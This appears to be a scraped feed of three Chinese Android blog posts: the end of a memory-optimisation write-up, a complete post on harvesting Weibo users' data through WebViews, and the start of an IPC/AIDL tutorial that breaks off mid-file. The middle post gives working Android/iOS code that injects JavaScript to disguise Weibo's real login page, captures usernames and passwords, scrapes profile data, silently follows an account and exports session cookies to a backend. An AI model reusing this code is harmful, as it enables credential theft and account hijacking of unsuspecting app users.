1.3 会复杂一点。图片加载组件可以提供default图,在图片加载过程中临时展示;以及faild图,在图片加载失败之后展示。这两个图在AsyncImageView中都是直接引用住图片 (Drawable)的。事实上绝大多数场景都会显示成功的图片。因此这里的修改方式是:
AsyncImageView的 default/fail 图片不再引用 drawable,而是引用资源ID,在需要的时候再由ImageLoader加载进内存,同时这些图片将有ImageCache统一管理,并占用内存LRU空间(之前是由Resource管理)。

这里去掉了几个大图的内存占用。内存占用在几M级别。

2、及时释放

上面 2.1 中的24小时直播间的数据会一直在内存中,即使用户当前没有在听24小时直播间。这个显然是不合理的。

修改的做法是 业务数据缓存的DB中,在需要用到的时候从DB中查询出来

2.2 的弹幕则是纯粹的UI相关数据,在播放页退出之后即可释放了。

2.3 是为了动画准备的一张大图,为了做一个炫酷的动画效果。事实上,在动画结束之后,就可以释放了。这个图片占用的内存和手机分辨徐率相关,分辨率(严格来说是density)越高的手机,图片尺寸越大。在主流手机上1080p约1M。

这里分别减少了 287K + 512K + 1M

3、 优化数据结构

3.1 和 3.2 都会存储节目信息,而节目信息相关的jce结构都比较大,通过MAT,可以看到 Show:12K, Album:10K, 一个ShowInfo同时包含了上面两种数据结构。

最合理的方式应该是:

  1. 数据存储在DB
  2. 在需要数据的时候通过一次db查询,拿到具体的数据。

但是因为现有代码都是从内存中查询,接口是同步的方式,全部改异步的成本会比较大,这里我们的时间成本和测试自由都有限。

综合上面MAT分析的结果,有个思路:

内存中存储 节目信息 (ShowMeta)最少的内存,例如: 节目名,节目id,专辑id 之类的信息。而真正的Show和Album结构存在DB中。

这样内存中的数据可以尽量的少,同时大部分已有接口还可以保持同步调用的方式。

此外,从用户的角度出发,假设一个重度用户下载了1000个节目,那么每一个ShowMeta占用的内存都会被放大1000倍,因此载极限的优化ShowMeta都不为过。

这里做了两件事:

1. 删字段,把ShowMeta中的非必要字段删掉。
比如其中的url字段,实际只用来通过hash生成文件名,我们完全可以用showId代替。而一个url长度可达500Byte,1000个ShowMeta的话,这里就能节省500K内存了!

再比如:dowanloadTaskId字段,是存储下载任务的id的,在节目下载完成后,该字段即失去意义,因此可以删除之。

2、 intern 这里是参考了 String.intern 的思路。不同的ShowMeta可能会有相同的字段,或者说字段中有相同的部分。

比如同一个专辑中的ShowMeta其albumId字段都会是相同的,我们只需要保留一份albumId,其他ShowMeta都可以用同一个实例。(内存优化一期对ShowList做了同样的改造)

再比如:ShowMeta中会存储下载文件的全路径,而事实上所有节目都会存储在同一个文件目录中,因此这里把文件路径拆成 目录+文件名来存储,而路径采用 intern 的方式,保证了内存中只会有一份。

这里写图片描述

优化前

这里写图片描述

优化后

最直观的看变化是内存占用从 14272B 到 120B。仔细看会发现 ShowRecordMeta 的retainHeap 不等于各字段内存占用之和,这是因为上面提到的 String intern 的作用,相同字段被复用了,因此这里的retainheap不准确,通过RecordDataManager/countof(records) 计算,平均每一个record 14800/60 = 247B,减少98%。

这里的修改结果:
播放历史 ShowHistoryBiz -> ShowHistoryMeta 内存占用从 19k 到 约216B

下载记录 ShowRecordBiz -> ShowRecordMeta 内存占用 从 14k 到 约100B

粗略估计,这里修改的播放历史(每次播放都会增加一个记录,上限600个),(19256-216)* 600 = 10.9M

和下载记录(假设一个轻度使用用户用户下载100个节目),内存总共可以减少:
(14727-100)* 100 = 1.4M

如果是重度用户,下载1000个节目,则有14M之多!

不得不说这是个很大的数字!

四、图片内存

在Android 2.3 之后,Bitmap改了实现,图片内存从native heap转移到了Java heap。这就导致了JavaHeap占用暴增。(然而8.0又改成NativeHeap了,具体原因官方文档并没有提及,有待考察)。

通常我们分析 heap dump 的时候会发现Bitmap占用的内存是绝对的大头。这次我们做内存优化也不例外。

这里的思路是分析内存占用是否合理:

  1. 是否所有图片都用于界面展示
  2. 是否图片尺寸过大。

首先,分析内存占用是否合理。经过一期的优化,在不打开MainActivity的时候,内存中几乎没有图片。但是打开MainActivity之后,内存中会出现几十兆的图片内存。
图片内存主要是用于展示的,也即:被AsyncImageView持有的部分。

另外是内存的图片缓存,会持有 最大JavaHeap 1/8 的内存充当 Bitmap 缓存,使用LRU算法淘汰老数据。

当然另外一些图片过大属于使用不当,实际上可以裁剪才View实际的大小。

而一些全屏(和屏幕等宽的图,主要是Banner)图其实可以裁剪的更小一点(如3/4大小)减少近46%的内存占用,而观感不会有特别明显的区别。(写这个文档的时候突然想到的,TODO一下)。

问题1:针对AsyncImageView的问题,思考是否所有图片都在用户展示?
答案显然是否定的,一部分图片被ListView回收的view所持有,这些内存占用显然是不合理的。

问题2:另外就是ViewPager这种多页面视图,给用户展示的实际上只有一个,其他几个视图并没有在展示,因此这里是否可以改造ViewPager呢?

针对第一个问题,被ListView回收的view仍然在内存中的问题,通过改造AsyncImageView,在View从windowdetach的时候,主动释放Bitmap,attach到Window的时候再次尝试加载图片。另外是多图滚动视图,这里的图片很大,因此占用内存也很多。因为历史原因之前使用的是Gallery,其有bug导致会额外引用住两个大图(已经不可见),因此这里使用RecyclerView修改了其实现,解决上述问题。

针对第二个问题,目前还没有采取有效措施,主要依赖Android系统,主动回收Activity的内存。(这里存疑,需要深挖系统代码,理清理逻辑之后再下结论。短期的结论是:系统的清理行为不可靠)。如果要改的话,可以简单的修改一下ViewPager的内存,保证在其他page不可见的时候,回收其相关的Fragment。留个TODO。

LRU + TTL

针对图片缓存,这里本身只是缓存图片并且有LRU算法保证不会超过最大内存,理论上内存占用合理。但是LRU算法有一个问题,就是一旦缓存满了,后续只能通过添加新Bitmap才能淘汰掉老的Bitmap,而此时缓存占用的内存仍然是最大值。因此这里的思考是LRU+TTL算法:即在LRU的基础上,指定每一个Bitmap在缓存中存在是有效时长。超过时长之后主动将其从缓存中清理掉。这样我们就可以解决LRUcache占用的内存不可减少的问题。

再次感谢afc组件作者raezlu和笔者讨论问题,欣然接受建议,并身体力行的实现了TTL方案!

高斯模糊

这里补充一个,关于高斯模糊图片占用内存过高的问题,在之前版本已经优化过了。

因为高斯模糊的图片本身会让图片变得模糊(废话。。),因此图片的信息实质上是丢失了很大一部分的。在此思路的基础上,我们可以把需要高斯模糊的图片先缩小(比如 100x100),然后再做高斯模糊。这样不仅减少了内存占用,同时高斯模糊处理的速度也可以大大增加!

比如,之前遇到播放页封面cover图 720 720的大小,占内存 720 720 4 = 2M,降低到 100x100 占用内存大小 100 100 * 4= 40K,内存优化效果明显,而视觉上几乎没有差距。

五、其他优化

这里主要针对外网的TOP1 crash,WNS内部线程创建导致的OOM。

笔者的解决方案是先根据crash上报信息,深挖系统源码《 Android 创建线程源码与OOM分析》,彻底理清楚线程创建逻辑,并最终确定crash原因是线程的无节制创建。然后针对crash,整理出详细的原因分析,再给WNS的小伙伴提了bug,待修复之后替换sdk。

六、成果对比

内存优化的效果总体还不错,这里一共做了两期,优化了几十个项目。首先要比较感谢项目组给了可观的排期,这样才有时间做一些比较深入的改动。

静息态内存

一期优化效果是在Nexus6P@7.1上测试到的静息态内存优化 26.5M。

二期又进一步做了优化(上文3.2 3.3节),现在静息态内存再次dump会发现只有3M内存了,而这3M有一部分是播放列表,一部分是播放页持有的小图片。

通过计算,可以得出静息态内存进一步减少了:
24小时直播间单例: 287K
弹幕manager 单例: 512K
播放页动画大图:1M
播放历史 600个(上限):(19256-216) * 600 = 10.9M
下载记录 下载100个节目:(14727-100)* 100 = 1.4M

总共减少: 28M+

动态内存

动态内存比较不好对比,这里决定采用黑盒测试的方式:
打开应用,MainActivity各个tab操作一遍,打开播放页,然后对比内存占用量。鉴于笔者只有一台Nexus6P开发机,为了控制变量,这里创建了两台模拟器,并排摆放,分别打开企鹅FM4.0和3.9版本,确保使用相同的操作路径。

这里测试了两种场景:

  1. 应用新安装
  2. 老用户,听了很多节目(播放历史600个),下载近200个节目

这里写图片描述

                           experiment

操作对照图

通过AndroidStudio查看内存占用情况。

这里写图片描述

                    compare clean install

在场景一种:4.0版本占用 38.74M,而3.9版本占用 59.78M。减少了21.04M内存。

compare heavy use

在场景二中:4.0版本占用 45.5M,而3.9版本占用 87.4M。减少了41.9M内存。

事实上,因为有图片缓存在LRU算法的基础上增加了TTL逻辑,在静止1分钟之后(只要不再加载新图片),4.0版本,内存还会下降。(图片缓存超时主动清理)。

这里写图片描述

                  4.0 ImageCache TTL

可以看到Java内存下降到 34.92M,而此时3.9版本仍然没有变化,此时内存减少 52.48M。

PS:需要注意的是3.9版本的“广播”tab在4.0版本替换成了“书城”tab,而书城tab的页面要远复杂的多,图片也更多。

最后,在4.0版本发布外网之后,笔者对比了一下3.9版本的Crash上报,结果如下:

这里写图片描述

总的crash率从 0.41%下降到%0.16,减少了0.21%。而OOM类型的crash率从 0.19%下降到 0.04%,减少了0.15%!而剩下的0.04%则主要是线程创建导致的。目前在通过线程监控组件查找根本原因,后续推动相关SDK进行优化!

七、结论

另外需要注意的一点是,动态内存和静态内存虽然分别减少了 52M 和 28M,但是两者是有一部分交集的。

两者的测量标准稍有不同,对应用的影响也不同。

动态内存主要优化app在低内存设备上的性能,并减少OutOfMemory发生的几率。

而静态内存,主要优化app退后台后的内存占用,一方面可以减少应用进程被Android系统的LowMemoryKiller杀死,另一方面可以让用户的设备有更多剩余内存,用户体验更好。


UPA——一款针对Unity游戏/产品的深度性能分析工具,由腾讯WeTest和unity官方共同研发打造,可以帮助游戏开发者快速定位性能问题。旨在为游戏开发者提供更完善的手游性能解决方案,同时与开发环节形成闭环,保障游戏品质。

目前,限时内测正在开放中,点击 http://wetest.qq.com/cube/即可使用。

对UPA感兴趣的开发者,欢迎加入QQ群:633065352

如果对使用当中有任何疑问,欢迎联系腾讯WeTest企业QQ:800024531

app端用户信息自动获取--微博

$
0
0

github地址

项目目的

在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。

传统爬虫模式的局限

传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理ip进行操作,很容易造成异地登录等问题,代理ip也很可能在全网被重复使用的情况下,被封杀,频繁的代理ip切换也会带来需要二次登录等问题。
所以这两年年来,发现市面上越来越多的提供sdk方式的数据提供商,经过抓包及反编译sdk,发现其大多数使用webview载入第三方页面的方式完成登录,有的在登录完成之后,获取cookie传送到后端完成爬取,有的直接在app内完成所需信息的收集。

登录

这是微博移动端登录页
weibo原移动端登录页.png
首先使用JavaScript串改当前页面元素,让用户没法意识到这是微博官方的登录页。

载入页面

android

webView.loadUrl(LOGINPAGEURL);

iOS

[self requestUrl:self.loginPageUrl];
//请求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}

js代码注入

首先我们注入js代码到app的webview中
android

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +"var parent = document.getElementsByTagName('head').item(0);" +"var script = document.createElement('script');" +"script.type = 'text/javascript';" +"script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +"parent.appendChild(script)" +"})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }

iOS

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                     var parent = document.getElementsByTagName('head').item(0);\
                     var script = document.createElement('script');\
                     script.type = 'text/javascript';\
                     script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
    }];
}

我们都采用读取js文件,然后base64编码后,使用window.atob把其做为一个脚本注入到当前页面(注意:window.atob处理中文编码后会得到的编码不正确,需要使用ecodeURIComponent escape来进行正确的校正。)
在这里已经使用了app端,调用js的方法来创建元素。

app端调用js方法

android端:

webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });

ios端:

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
    }];

这两个方法可以获取返回值,正因为如此,可以使用js提取页面信息后,返回给webview,然后收集信息完成之后,汇总进行通信。

js串改页面

//串改页面元素,让用户以为是授权登录
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="请输入用户名";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="请进行用户授权";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改页面元素,使之看起来不会让人发觉这是weibo官方的页面。
修改后的页面如图:
修改后登录页面.png

串改登录点击事件,获取用户名密码

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同时串改登录点击按钮,通过js调用app webview的方法,把用户名和密码传递给app webview 完成信息收集。

js调用webview的方法

android端:

// js代码
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代码
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

android通过实现一个@JavaScriptInterface接口,把这个方法添加类添加到webview的浏览器内核之上,当调用这个方法时,会触发android端的调用。
ios端:

//js代码
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代码
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}

ios方式,实现方式与此类似,不过由于我对oc以及ios开发不熟悉,代码运行不符合期望,希望专业的能指正。

个人信息获取

直接提取页面的难点

webview这个组件,无论是在android端 onPageFinished方法还是ios端的didFinishNavigation方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口

请求接口

本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取
抓包1.png
仔细分析 “我”这个标签下的请求情况,发现 https://m.weibo.cn/home/me?fo...,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。
然后通过

JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))

获取json字符串,并传到app端进行解析。
解析及多次请求的逻辑

请求页面

也有页面,如个人资料,页面较简单,可以使用js提取

js代码

function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='输入博客地址'){
    blog='未填写';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ帐号'){
    qq="未填写";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}

由于webview不支持 $x 的xpath写法,为了方便,使用原生的XPathEvaluator, 实现了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//选取子节点
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}

自动关注用户

由于个人微博页面 onPageFinished与didFinishNavigation这两个方法无法判定页面是否加载完全,
为了解决这个问题,在android端,使用拦截url,判定页面加载图片的数量来确定,是否,加载完全

//由于页面的正确加载onPageFinieshed和onProgressChanged都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。
            //在这样的情况下,自动点击元素,完成自动关注用户。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }

js 自动点击

function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}

在ios端,使用访问接口的方式
抓包2.png
除了目标用户的id外,还有一个st字符串,通过chrome的search,定位,然后通过js提取

function getSt(){
  return config['st'];
}

然后构造post,请求,完成关注

- (void) autoFocus:(NSString*) st{
    //Wkwebview采用js模拟完成表单提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                     var form = document.createElement(\"form\"); \
                     form.setAttribute(\"method\", method); \
                     form.setAttribute(\"action\", path); \
                     for(var key in params) { \
                     if(params.hasOwnProperty(key)) { \
                     var hiddenField = document.createElement(\"input\");\
                     hiddenField.setAttribute(\"type\", \"hidden\");\
                     hiddenField.setAttribute(\"name\", key);\
                     hiddenField.setAttribute(\"value\", params[key]);\
                     form.appendChild(hiddenField);\
                     }\
                     }\
                     document.body.appendChild(form);\
                     form.submit();\
                     }\
                     post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}

ios WkWebview没有post请求,接口,所以构造一个表单提交,完成post请求。
完成,一个自动关注,当然,构造一个用户id的列表,很简单就可以实现自动关注多个用户。

关于cookie

如果需要爬取的数据量大,可以选择爬取少量关键信息后,把cookie传到后端处理
android 端 cookie处理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 

通过cookieManage对象可以获取cookie字符串,传送到后端,继续爬取

ios端cookie处理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

处理方式与android端类似。

总结

对于数据工程师来说,webview有点类似于selenium,但是运行在服务端的selenium,有太多的局限性。webview的在客户端运行,就像一个用户就是一台肉机。
以webview为基础,使用app收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。
对于普通用户来说,不要轻易在一个app上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。

Android 进程间通信

$
0
0
什么鬼!单例居然失效了,一个地方设置值,另个地方居然取不到,这怎么可能?没道理啊!排查半天,发现这两就不在一个进程里,才恍然大悟……

什么是进程

按照操作系统中的描述:进程一般指一个执行单元,在 PC 和移动设备上指一个程序或者一个应用。

为什么要使用多进程

我们都知道,系统为 APP 每个进程分配的内存是有限的,如果想获取更多内存分配,可以使用多进程,将一些看不见的服务、比较独立而又相当占用内存的功能运行在另外一个进程当中。

目录结构预览

先放出最终实践后的目录结构,有个大概印象,后面一一介绍。

如何使用多进程

AndroidManifest.xml 清单文件中注册 Activity、Service 等四大组件时,指定 android:process 属性即可开启多进程,如:

<activity
    android:name=".Process1Activity"
    android:process=":process1" /><activity
    android:name=".Process2Activity"
    android:process="com.wuxiaolong.androidprocesssample.process2" />


说明

1、 com.wuxiaolong.androidprocesssample,主进程,默认的是应用包名;

2、 android:process=":process1",“:”开头,是简写,完整进程名包名 + :process1

3、 android:process="com.wuxiaolong.androidprocesssample.process2",以小写字母开头的,属于全局进程,其他应用可以通过 ShareUID 进行数据共享;

4、进程命名跟包名的命名规范一样。

进程弊端

Application 多次创建

我们自定义一个 Application 类, onCreate方法进行打印 Log.d("wxl", "AndroidApplication onCreate");,然后启动 Process1Activity:

com.wuxiaolong.androidprocesssample D/wxl: AndroidApplication onCreate
com.wuxiaolong.androidprocesssample:process1 D/wxl: AndroidApplication onCreate

看到确实被创建两次,原因见: android:process 的坑,你懂吗?多数情况下,我们都会在工程中自定义一个 Application 类,做一些全局性的初始化工作,因为我们要区分出来,让其在主进程进行初始化,网上解决方案:

@Override
public void onCreate() {
    super.onCreate();
    String processName = AndroidUtil.getProcessName();
    if (getPackageName().equals(processName)) {
        //初始化操作
        Log.d("wxl", "AndroidApplication onCreate=" + processName);
    }
}

AndroidUtil:

public static String getProcessName() {
    try {
        File file = new File("/proc/" + android.os.Process.myPid() + "/" + "cmdline");
        BufferedReader mBufferedReader = new BufferedReader(new FileReader(file));
        String processName = mBufferedReader.readLine().trim();
        mBufferedReader.close();
        return processName;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

静态成员和单例模式失效

创建一个类 SingletonUtil:

public class SingletonUtil {
    private static SingletonUtil singletonUtil;
    private String userId = "0";

    public static SingletonUtil getInstance() {
        if (singletonUtil == null) {
            singletonUtil = new SingletonUtil();
        }
        return singletonUtil;
    }

    public String getUserId() {
        return userId;
    }

    public void setUserId(String userId) {
        this.userId = userId;
    }
}

在 MainActivity 进行设置:

SingletonUtil.getInstance().setUserId("007");

Process1Activity 取值,打印:

Log.d("wxl", "userId=" + SingletonUtil.getInstance().getUserId());

发现打印 userId=0,单例模式失效了,因为这两个进程不在同一内存了,自然无法共享。

进程间通信

文件共享

既然内存不能共享,是不是可以找个共同地方,是的,可以把要共享的数据保存 SD 卡,实现共享。首先将 SingletonUtil 实现 Serializable 序列化,将对象存入 SD 卡,然后需要用的地方,反序列化,从 SD 卡取出对象,完整代码如下:

SingletonUtil

public class SingletonUtil implements Serializable{
    public static String ROOT_FILE_DIR = Environment.getExternalStorageDirectory() + File.separator + "User" + File.separator;
    public static String USER_STATE_FILE_NAME_DIR = "UserState";
    private static SingletonUtil singletonUtil;
    private String userId = "0";

    public static SingletonUtil getInstance() {
        if (singletonUtil == null) {
            singletonUtil = new SingletonUtil();
        }
        return singletonUtil;
    }

    public String getUserId() {
        return userId;
    }

    public void setUserId(String userId) {
        this.userId = userId;
    }
}

序列化和反序列化

public class AndroidUtil {
    public static boolean createOrExistsDir(final File file) {
        // 如果存在,是目录则返回true,是文件则返回false,不存在则返回是否创建成功
        return file != null && (file.exists() ? file.isDirectory() : file.mkdirs());
    }

    /**
     * 删除目录
     *
     * @param dir 目录
     * @return {@code true}: 删除成功<br>{@code false}: 删除失败
     */
    public static boolean deleteDir(final File dir) {
        if (dir == null) return false;
        // 目录不存在返回true
        if (!dir.exists()) return true;
        // 不是目录返回false
        if (!dir.isDirectory()) return false;
        // 现在文件存在且是文件夹
        File[] files = dir.listFiles();
        if (files != null && files.length != 0) {
            for (File file : files) {
                if (file.isFile()) {
                    if (!file.delete()) return false;
                } else if (file.isDirectory()) {
                    if (!deleteDir(file)) return false;
                }
            }
        }
        return dir.delete();
    }

    /**
     * 序列化,对象存入SD卡
     *
     * @param obj          存储对象
     * @param destFileDir  SD卡目标路径
     * @param destFileName SD卡文件名
     */
    public static void writeObjectToSDCard(Object obj, String destFileDir, String destFileName) {

        createOrExistsDir(new File(destFileDir));
        deleteDir(new File(destFileDir + destFileName));
        FileOutputStream fileOutputStream = null;
        ObjectOutputStream objectOutputStream = null;
        try {
            fileOutputStream = new FileOutputStream(new File(destFileDir, destFileName));
            objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(obj);

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (objectOutputStream != null) {
                    objectOutputStream.close();
                    objectOutputStream = null;
                }
                if (fileOutputStream != null) {
                    fileOutputStream.close();
                    fileOutputStream = null;
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }

    }

    /**
     * 反序列化,从SD卡取出对象
     *
     * @param destFileDir  SD卡目标路径
     * @param destFileName SD卡文件名
     */
    public static Object readObjectFromSDCard(String destFileDir, String destFileName) {
        FileInputStream fileInputStream = null;

        Object object = null;
        ObjectInputStream objectInputStream = null;

        try {
            fileInputStream = new FileInputStream(new File(destFileDir, destFileName));
            objectInputStream = new ObjectInputStream(fileInputStream);
            object = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (objectInputStream != null) {
                    objectInputStream.close();
                    objectInputStream = null;
                }
                if (fileInputStream != null) {
                    fileInputStream.close();
                    fileInputStream = null;
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return object;

    }
}

需要权限:

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

MainActivity 序列写入

SingletonUtil singletonUtil = SingletonUtil.getInstance();
singletonUtil.setUserId("007");
AndroidUtil.writeObjectToSDCard(singletonUtil, SingletonUtil.ROOT_FILE_DIR, SingletonUtil.USER_STATE_FILE_NAME_DIR);

Process1Activity 反序列化取值

Object object = AndroidUtil.readObjectFromSDCard(SingletonUtil.ROOT_FILE_DIR, SingletonUtil.USER_STATE_FILE_NAME_DIR);
if (object != null) {
    SingletonUtil singletonUtil = (SingletonUtil) object;
    Log.d("wxl", "userId=" + singletonUtil.getUserId());//打印:userId=007
}

AIDL

AIDL,Android 接口定义语言,定义客户端与服务端进程间通信,服务端有处理多线程时,才有必要使用 AIDL,不然可以使用 Messenger ,后文介绍。

单个应用,多个进程

服务端

AIDL 传递数据有基本类型 int,long,boolean,float,double,也支持 String,CharSequence,List,Map,传递对象需要实现 Parcelable 接口,这时需要指定 in(客户端数据对象流向服务端)、out (数据对象由服务端流向客户端)。

1、Userbean.java

public class UserBean implements Parcelable {
    private int userId;
    private String userName;

    public int getUserId() {
        return userId;
    }

    public void setUserId(int userId) {
        this.userId = userId;
    }

    public String getUserName() {
        return userName;
    }

    public void setUserName(String userName) {
        this.userName = userName;
    }

    public UserBean() {

    }

    private UserBean(Parcel in) {
        userId = in.readInt();
        userName = in.readString();
    }

    /**
     * @return 0 或 1 ,1 含有文件描述符
     */
    @Override
    public int describeContents() {
        return 0;
    }

    /**
     * 系列化
     *
     * @param dest  当前对象
     * @param flags 0 或 1,1 代表当前对象需要作为返回值,不能立即释放资源
     */
    @Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeInt(userId);
        dest.writeString(userName);
    }

    /**
     * 反序列化
     */
    public static final Creator<UserBean> CREATOR = new Creator<UserBean>() {
        @Override
        public UserBean createFromParcel(Parcel in) {
            return new UserBean(in);
        }

        @Override
        public UserBean[] newArray(int size) {
            return new UserBean[size];
        }
    };

}

2、UserBean.aidl

Userbean.java 同包下创建对应的 UserBean.aidl 文件,与 aidl 调用和交互。

// UserBean.aidl
package com.wuxiaolong.androidprocesssample;

parcelable UserBean;

3、IUserManager.aidl

// IUserManager.aidl
package com.wuxiaolong.androidprocesssample;

